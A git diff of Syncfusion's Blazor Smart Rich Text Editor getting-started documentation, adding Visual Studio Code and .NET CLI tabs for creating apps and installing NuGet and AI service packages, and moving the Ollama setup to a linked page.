+* [Appearance](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/events)
\ No newline at end of file
diff --git a/blazor/smart-rich-text-editor/getting-started-webapp.md b/blazor/smart-rich-text-editor/getting-started-webapp.md
index cba993ec47..ffe9881f60 100644
--- a/blazor/smart-rich-text-editor/getting-started-webapp.md
+++ b/blazor/smart-rich-text-editor/getting-started-webapp.md
@@ -9,28 +9,113 @@ documentation: ug
 
 # Getting Started with Smart Rich Text Editor in Blazor Web App
 
-This section briefly explains about how to include [Blazor Smart Rich Text Editor](https://www.syncfusion.com/blazor-components/blazor-smart-rich-text-editor) component in your Blazor Web App using Visual Studio.
+This section explains how to add the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Rich Text Editor](https://www.syncfusion.com/blazor-components/blazor-smart-rich-text-editor) component in your Blazor Web App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
 
 ## Prerequisites
 
 * [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
-* OpenAI or Azure OpenAI Account
-* Visual Studio 2022 or later
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Rich Text Editor Components are compatible with `OpenAI` and `Azure OpenAI`, and fully support Server Interactivity mode apps.
 
 ## Create a new Blazor Web App in Visual Studio
 
-You can create a **Blazor Web App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio).
+Create a **Blazor Web App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor Web App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app) documentation.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code %}
+
+## Prerequisites
+
+* [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
+
+## Create a new Blazor Web App in Visual Studio Code
+
+Create a **Blazor Web App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor Web App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app?tabcontent=visual-studio-code) documentation.
+
+For example, in a Blazor Web App with the `Auto` interactive render mode, use the following commands in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>):
+
+{% tabs %}
+{% highlight c# tabtitle="Blazor Web App" %}
+
+dotnet new blazor -o BlazorWebApp -int Auto
+cd BlazorWebApp
+cd BlazorWebApp.Client
+
+{% endhighlight %}
+{% endtabs %}
+
+{% endtabcontent %}
+
+{% tabcontent .NET CLI %}
+
+## Prerequisites
+
+Install the latest version of [.NET SDK](https://dotnet.microsoft.com/en-us/download). If you previously installed the SDK, determine the installed version by executing the following command in a command prompt (Windows) or terminal (macOS) or command shell (Linux).
+
+{% tabs %}
+{% highlight c# tabtitle=".NET CLI" %}
+
+dotnet --version
+
+{% endhighlight %}
+{% endtabs %}
+
+## Create a Blazor Web App using .NET CLI
+
+Run the following command to create a new Blazor Web App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor Web App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app?tabcontent=.net-cli) documentation.
+
+For example, in a Blazor Web App with the `Auto` interactive render mode, use the following commands:
+
+{% tabs %}
+{% highlight c# tabtitle="Blazor Web App" %}
+
+dotnet new blazor -o BlazorWebApp -int Auto
+cd BlazorWebApp
+cd BlazorWebApp.Client
+
+{% endhighlight %}
+{% endtabs %}
+
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor Web App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
 
-**Important:** When creating the Blazor Web App, ensure you select **Server Interactivity** option.
 
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Rich Text Editor and Themes NuGet
 
-To add **Blazor Smart Rich Text Editor** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), search and install [Syncfusion.Blazor.SmartRichTextEditor](https://www.nuget.org/packages?q=Syncfusion.Blazor.SmartRichTextEditor) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, you can utilize the following package manager command to achieve the same.
+Install the following NuGet packages in your project:
+
+* [Syncfusion.Blazor.SmartRichTextEditor](https://www.nuget.org/packages?q=Syncfusion.Blazor.SmartRichTextEditor)
+* [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/)
+
+You can install these packages using different methods as shown below:
+
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Manage NuGet Packages for Solution**
+2. Search for the required packages.
+3. Select the package and click **Install**.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio (Package Manager Console) %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Package Manager Console**
+2. Run the following commands:
 
 {% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
+{% highlight C# tabtitle="Install Packages" %}
 
 Install-Package Syncfusion.Blazor.SmartRichTextEditor -Version {{ site.releaseversion }}
 Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
@@ -38,6 +123,29 @@ Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 {% endhighlight %}
 {% endtabs %}
 
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code / .NET CLI %}
+
+1. Open your project.
+2. Open the terminal:
+   - In Visual Studio Code: use the integrated terminal (<kbd>Ctrl</kbd> + <kbd>`</kbd>)
+   - Or use any system terminal for CLI
+3. Run the following commands:
+
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
+
+dotnet add package Syncfusion.Blazor.SmartRichTextEditor --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+{% endtabcontent %}
+
+{% endtabcontents %}
+
 N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
@@ -56,7 +164,7 @@ Open **~/_Imports.razor** file in the Components folder and import the `Syncfusi
 Now, register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of your Blazor Web App.
 
 {% tabs %}
-{% highlight C# tabtitle="Blazor Web App Server" hl_lines="3 10" %}
+{% highlight C# tabtitle="Program.cs" hl_lines="3 10" %}
 
 using Microsoft.AspNetCore.Components;
 using Microsoft.AspNetCore.Components.Web;
@@ -82,28 +190,72 @@ Follow the instructions below to register an AI model in your application.
 
 ### OpenAI
 
-For **OpenAI**, create an API key and place it at `openAIApiKey`. The value for `openAIModel` is the model you wish to use (e.g., `gpt-3.5-turbo`, `gpt-4`, etc.).
+Install the following NuGet packages to your project:
 
-* Install the following NuGet packages to your project:
+* [Microsoft.Extensions.AI](https://www.nuget.org/packages/Microsoft.Extensions.AI)
+* [Microsoft.Extensions.AI.OpenAI](https://www.nuget.org/packages/Microsoft.Extensions.AI.OpenAI)
 
-{% tabs %}
+You can install these packages using different methods as shown below:
 
-{% highlight c# tabtitle="Package Manager" %}
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Manage NuGet Packages for Solution**
+2. Search for the required packages.
+3. Select the package and click **Install**.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio (Package Manager Console) %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Package Manager Console**
+2. Run the following commands:
+
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
 
 Install-Package Microsoft.Extensions.AI
 Install-Package Microsoft.Extensions.AI.OpenAI
 
 {% endhighlight %}
+{% endtabs %}
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code / .NET CLI %}
 
+1. Open your project.
+2. Open the terminal:
+   - In Visual Studio Code: use the integrated terminal (<kbd>Ctrl</kbd> + <kbd>`</kbd>)
+   - Or use any system terminal for CLI
+3. Run the following commands:
+
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
+
+dotnet add package Microsoft.Extensions.AI
+dotnet add package Microsoft.Extensions.AI.OpenAI
+
+{% endhighlight %}
 {% endtabs %}
 
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+* For **OpenAI**, obtain an API key from [OpenAI](https://help.openai.com/en/articles/4936850-where-do-i-find-my-openai-api-key) and specify the desired model (e.g., `gpt-3.5-turbo`, `gpt-4`). Store the API key securely in a configuration file.
+
 * To configure the AI service, add the following settings to the **~/Program.cs** file in your Blazor Web app.
 
 {% tabs %}
-{% highlight C# tabtitle="Blazor Web App" hl_lines="4 5 6 7 8 9 27 28 29 30 31 32 33" %}
+{% highlight C# tabtitle="Program.cs" hl_lines="3 4 5 15 16 17 18 19 20 21 22" %}
 
 using Syncfusion.Blazor;
-using Syncfusion.Blazor.SmartRichTextEditor;
 using Syncfusion.Blazor.AI;
 using Microsoft.Extensions.AI;
 using OpenAI;
@@ -133,29 +285,75 @@ var app = builder.Build();
 
 ### Azure OpenAI
 
-For **Azure OpenAI**, first [deploy an Azure OpenAI Service resource and model](https://learn.microsoft.com/en-us/azure/ai-services/openai/how-to/create-resource), then values for `azureOpenAIKey`, `azureOpenAIEndpoint` and `azureOpenAIModel` will all be provided to you.
+Install the following NuGet packages to your project:
 
-* Install the following NuGet packages to your project:
+* [Microsoft.Extensions.AI](https://www.nuget.org/packages/Microsoft.Extensions.AI)
+* [Microsoft.Extensions.AI.OpenAI](https://www.nuget.org/packages/Microsoft.Extensions.AI.OpenAI)
+* [Azure.AI.OpenAI](https://www.nuget.org/packages/Azure.AI.OpenAI)
 
-{% tabs %}
+You can install these packages using different methods as shown below:
+
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Manage NuGet Packages for Solution**
+2. Search for the required packages.
+3. Select the package and click **Install**.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio (Package Manager Console) %}
 
-{% highlight c# tabtitle="Package Manager" %}
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Package Manager Console**
+2. Run the following commands:
+
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
 
 Install-Package Microsoft.Extensions.AI
 Install-Package Microsoft.Extensions.AI.OpenAI
 Install-Package Azure.AI.OpenAI
 
 {% endhighlight %}
+{% endtabs %}
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code / .NET CLI %}
+
+1. Open your project.
+2. Open the terminal:
+   - In Visual Studio Code: use the integrated terminal (<kbd>Ctrl</kbd> + <kbd>`</kbd>)
+   - Or use any system terminal for CLI
+3. Run the following commands:
+
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
 
+dotnet add package Microsoft.Extensions.AI
+dotnet add package Microsoft.Extensions.AI.OpenAI
+dotnet add package Azure.AI.OpenAI
+
+{% endhighlight %}
 {% endtabs %}
 
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+* For **Azure OpenAI**, first [deploy an Azure OpenAI Service resource and model](https://learn.microsoft.com/en-us/azure/ai-services/openai/how-to/create-resource), then values for `azureOpenAIKey`, `azureOpenAIEndpoint` and `azureOpenAIModel` will all be provided to you.
+
 * To configure the AI service, add the following settings to the **~/Program.cs** file in your Blazor Web app.
 
 {% tabs %}
-{% highlight C# tabtitle="Blazor Web App" hl_lines="4 5 6 7 8 9 17 18 19 20 21 22 23 24 25 26 27" %}
+{% highlight C# tabtitle="Program.cs" hl_lines="3 4 5 6 16 17 18 19 20 21 22 23 24 25 26 27" %}
 
 using Syncfusion.Blazor;
-using Syncfusion.Blazor.SmartRichTextEditor;
 using Syncfusion.Blazor.AI;
 using Azure.AI.OpenAI;
 using Microsoft.Extensions.AI;
@@ -188,60 +386,7 @@ var app = builder.Build();
 {% endhighlight %}
 {% endtabs %}
 
-### Ollama
-
-To use Ollama for running self-hosted models:
-
-1. **Download and install Ollama**  
-   Visit [Ollama's official website](https://ollama.com) and install the application appropriate for your operating system.
-
-2. **Install the desired model from the Ollama library**  
-   You can browse and install models from the [Ollama Library](https://ollama.com/library) (e.g., `llama2:13b`, `mistral:7b`, etc.).
-
-3. **Configure your application**
-
-   - Provide the `Endpoint` URL where the model is hosted (e.g., `http://localhost:11434`).
-   - Set `ModelName` to the specific model you installed (e.g., `llama2:13b`).
-
-* Install the following NuGet packages to your project:
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-Install-Package Microsoft.Extensions.AI
-Install-Package OllamaSharp
-
-{% endhighlight %}
-
-{% endtabs %}
-
-* Add the following settings to the **~/Program.cs** file in your Blazor Server app.
-
-{% tabs %}
-{% highlight C# tabtitle="Blazor Server App" hl_lines="5 6 10 11 12 13 14 15" %}
-
-using Syncfusion.Blazor.SmartRichTextEditor;
-using Syncfusion.Blazor.AI;
-using Microsoft.Extensions.AI;
-using OllamaSharp;
-var builder = WebApplication.CreateBuilder(args);
-
-....
-
-builder.Services.AddSyncfusionBlazor();
-
-string ModelName = "MODEL_NAME";
-IChatClient chatClient = new OllamaApiClient("http://localhost:11434", ModelName);
-builder.Services.AddChatClient(chatClient);
-
-builder.Services.AddSingleton<IChatInferenceService, SyncfusionAIService>();
-
-var app = builder.Build();
-....
-
-{% endhighlight %}
-{% endtabs %}
+N> To configure other AI services, refer to the following sections [Ollama AI Service](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/ollama) and [Custom AI Service](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/custom-inference-backend).
 
 ## Add stylesheet and script resources
 
@@ -267,6 +412,8 @@ N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/app
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> **Blazor Smart Rich Text Editor** component in the **~/Components/Pages/Home.razor** or any other page file.
 
+N> Notice the `@rendermode InteractiveServer` directive on the page. This is required for Blazor Web App to enable server-side interactivity.
+
 {% tabs %}
 {% highlight razor tabtitle="~/Components/Pages/Home.razor" %}
 
@@ -288,21 +435,20 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> **Blazor Smart Rich Tex
 {% endhighlight %}
 {% endtabs %}
 
-N> Notice the `@rendermode InteractiveServer` directive on the page. This is required for Blazor Web App to enable server-side interactivity.
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Rich Text Editor component in your default web browser.
+* To launch the application, press <kbd>Ctrl</kbd>+<kbd>F5</kbd> in Visual Studio, run `dotnet run` from the CLI or integrated terminal in VS Code, or use the Run command in your preferred IDE to render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Rich Text Editor component in the default web browser.
 
 * Start typing content and use the AI tools in the toolbar to enhance your editing experience.
 
 * Use <kbd>Alt</kbd>+<kbd>Enter</kbd> to open the AI Query dialog for content improvement.
 
+N> When using the .NET CLI or Visual Studio Code, ensure that you run the application from the **server (host) project directory**, not from the `.Client` project. The client project does not run independently and is hosted by the server application.
+
 ![Syncfusion Smart Rich Text Editor - Output](images/smart-rich-text-editor-overview.gif)
 
 N> [View Sample in GitHub](https://github.com/syncfusion/smart-ai-samples).
 
 ## See also
 
-* [Getting Started with Smart Rich Text Editor in Server App](getting-started.md)
+* [Getting Started with Smart Rich Text Editor in Server App](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/getting-started)
 * [Rich Text Editor Documentation](https://blazor.syncfusion.com/documentation/rich-text-editor)
-* [AI Features and Customization](ai-features.md)
 * [Blazor Web App Documentation](https://learn.microsoft.com/en-us/aspnet/core/blazor/hybrid)
\ No newline at end of file
diff --git a/blazor/smart-rich-text-editor/getting-started.md b/blazor/smart-rich-text-editor/getting-started.md
index 25f0fca679..770592a574 100644
--- a/blazor/smart-rich-text-editor/getting-started.md
+++ b/blazor/smart-rich-text-editor/getting-started.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Smart Rich Text Editor Component
 
-This section briefly explains about how to include [Blazor Smart Rich Text Editor](https://www.syncfusion.com/blazor-components/blazor-smart-rich-text-editor) component in your Blazor Server App using Visual Studio.
+This section explains how to add the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Rich Text Editor](https://www.syncfusion.com/blazor-components/blazor-smart-rich-text-editor) component to a Blazor Server App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -18,81 +18,133 @@ This section briefly explains about how to include [Blazor Smart Rich Text Edito
 ## Prerequisites
 
 * [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
-* OpenAI or Azure OpenAI Account
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Rich Text Editor Components are compatible with both `OpenAI` and `Azure OpenAI`, and fully support Server Interactivity mode apps.
 
 ## Create a new Blazor App in Visual Studio
 
-You can create a **Blazor Server App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-7.0) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio).
+Create a **Blazor Server App** by using the **Blazor Web App** template in Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio) documentation.
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Rich Text Editor and Themes NuGet in the App
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code %}
+
+## Prerequisites
+
+* [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
+
+## Create a new Blazor App in Visual Studio Code
 
-To add **Blazor Smart Rich Text Editor** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), search and install [Syncfusion.Blazor.SmartRichTextEditor](https://www.nuget.org/packages?q=Syncfusion.Blazor.SmartRichTextEditor) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, you can utilize the following package manager command to achieve the same.
+Create a **Blazor Server App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio?tabcontent=visual-studio-code) documentation.
+
+Alternatively, create a Server application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
 
-Install-Package Syncfusion.Blazor.SmartRichTextEditor -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+{% highlight c# tabtitle="Blazor Server App" %}
+
+dotnet new blazor -o BlazorApp -int Server
+cd BlazorApp
 
 {% endhighlight %}
-{% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
+{% endtabs %}
 
 {% endtabcontent %}
 
-{% tabcontent Visual Studio Code %}
+{% tabcontent .NET CLI %}
 
 ## Prerequisites
 
-* [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
-* OpenAI or Azure OpenAI Account
+Install the latest version of [.NET SDK](https://dotnet.microsoft.com/en-us/download). If the .NET SDK is already installed, determine the installed version by running the following command in a command prompt (Windows), terminal (macOS), or command shell (Linux).
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Rich Text Editor Components are compatible with both `OpenAI` and `Azure OpenAI`, and fully support Server Interactivity mode apps.
+{% tabs %}
+{% highlight c# tabtitle=".NET CLI" %}
 
-## Create a new Blazor App in Visual Studio Code
+dotnet --version
 
-You can create a **Blazor Server App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-7.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project).
+{% endhighlight %}
+{% endtabs %}
 
-Alternatively, you can create a Server application using the following command in the terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+## Create a Blazor Server App using .NET CLI
 
-{% tabs %}
+Run the following command to create a new Blazor Server App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio?tabcontent=.net-cli) documentation.
 
-{% highlight c# tabtitle="Blazor Server App" %}
+{% tabs %}
+{% highlight c# tabtitle=".NET CLI" %}
 
-dotnet new blazorserver -o BlazorApp
+dotnet new blazor -o BlazorApp -int Server
 cd BlazorApp
 
 {% endhighlight %}
-
 {% endtabs %}
 
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor Server App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
+
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Rich Text Editor and Themes NuGet in the App
 
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure you're in the project root directory where your `.csproj` file is located.
-* Run the following command to install [Syncfusion.Blazor.SmartRichTextEditor](https://www.nuget.org/packages?q=Syncfusion.Blazor.SmartRichTextEditor) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
+Install the following NuGet packages in your project:
 
-{% tabs %}
+* [Syncfusion.Blazor.SmartRichTextEditor](https://www.nuget.org/packages?q=Syncfusion.Blazor.SmartRichTextEditor)
+* [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/)
+
+You can install these packages using different methods as shown below:
 
-{% highlight c# tabtitle="Package Manager" %}
+{% tabcontents %}
 
-dotnet add package Syncfusion.Blazor.SmartRichTextEditor -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
+{% tabcontent Visual Studio %}
 
-{% endhighlight %}
+1. In Visual Studio Navigate to:
 
+   **Tools → NuGet Package Manager → Manage NuGet Packages for Solution**
+2. Search for the required packages.
+3. Select the package and click **Install**.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio (Package Manager Console) %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Package Manager Console**
+2. Run the following commands:
+
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
+
+Install-Package Syncfusion.Blazor.SmartRichTextEditor -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+
+{% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code / .NET CLI %}
+
+1. Open your project.
+2. Open the terminal:
+   - In Visual Studio Code: use the integrated terminal (<kbd>Ctrl</kbd> + <kbd>`</kbd>)
+   - Or use any system terminal for CLI
+3. Run the following commands:
+
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
+
+dotnet add package Syncfusion.Blazor.SmartRichTextEditor --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
 
 {% endtabcontent %}
 
 {% endtabcontents %}
 
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
+
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
 
 Open **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.SmartRichTextEditor` namespace.
@@ -109,7 +161,7 @@ Open **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusio
 Now, register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of your Blazor Server App.
 
 {% tabs %}
-{% highlight C# tabtitle="Blazor Server App" hl_lines="4 11" %}
+{% highlight C# tabtitle="Program.cs" hl_lines="4 11" %}
 
 using Microsoft.AspNetCore.Components;
 using Microsoft.AspNetCore.Components.Web;
@@ -134,30 +186,76 @@ Follow the instructions below to register an AI model in your application.
 
 ### OpenAI
 
-For **OpenAI**, create an API key and place it at `openAIApiKey`. The value for `openAIModel` is the model you wish to use (e.g., `gpt-3.5-turbo`, `gpt-4`, etc.).
+Install the following NuGet packages to your project:
 
-* Install the following NuGet packages to your project:
+* Microsoft.Extensions.AI
+* Microsoft.Extensions.AI.OpenAI
 
-{% tabs %}
+You can install these packages using different methods as shown below:
+
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Manage NuGet Packages for Solution**
+2. Search for the required packages.
+3. Select the package and click **Install**.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio (Package Manager Console) %}
 
-{% highlight c# tabtitle="Package Manager" %}
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Package Manager Console**
+2. Run the following commands:
+
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
 
 Install-Package Microsoft.Extensions.AI
 Install-Package Microsoft.Extensions.AI.OpenAI
 
 {% endhighlight %}
+{% endtabs %}
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code / .NET CLI %}
+
+1. Open your project.
+2. Open the terminal:
+   - In Visual Studio Code: use the integrated terminal (<kbd>Ctrl</kbd> + <kbd>`</kbd>)
+   - Or use any system terminal for CLI
+3. Run the following commands:
+
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
 
+dotnet add package Microsoft.Extensions.AI
+dotnet add package Microsoft.Extensions.AI.OpenAI
+
+{% endhighlight %}
 {% endtabs %}
 
-* To configure the AI service, add the following settings to the **~/Program.cs** file in your Blazor Server app.
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+* For **OpenAI**, obtain an API key from [OpenAI](https://help.openai.com/en/articles/4936850-where-do-i-find-my-openai-api-key) and specify the desired model (e.g., `gpt-3.5-turbo`, `gpt-4`). Store the API key securely in a configuration file.
+
+* To configure the AI service, add the following settings to the **~/Program.cs** file in your Blazor Web app.
 
 {% tabs %}
-{% highlight C# tabtitle="Blazor Server App" hl_lines="4 5 6 10 12 13 14 15 16 17 18" %}
+{% highlight C# tabtitle="Program.cs" hl_lines="3 4 5 13 14 15 16 17 18 19" %}
 
-using Syncfusion.Blazor.SmartRichTextEditor;
+using Syncfusion.Blazor;
 using Syncfusion.Blazor.AI;
 using Microsoft.Extensions.AI;
 using OpenAI;
+
 var builder = WebApplication.CreateBuilder(args);
 
 ....
@@ -180,103 +278,95 @@ var app = builder.Build();
 
 ### Azure OpenAI
 
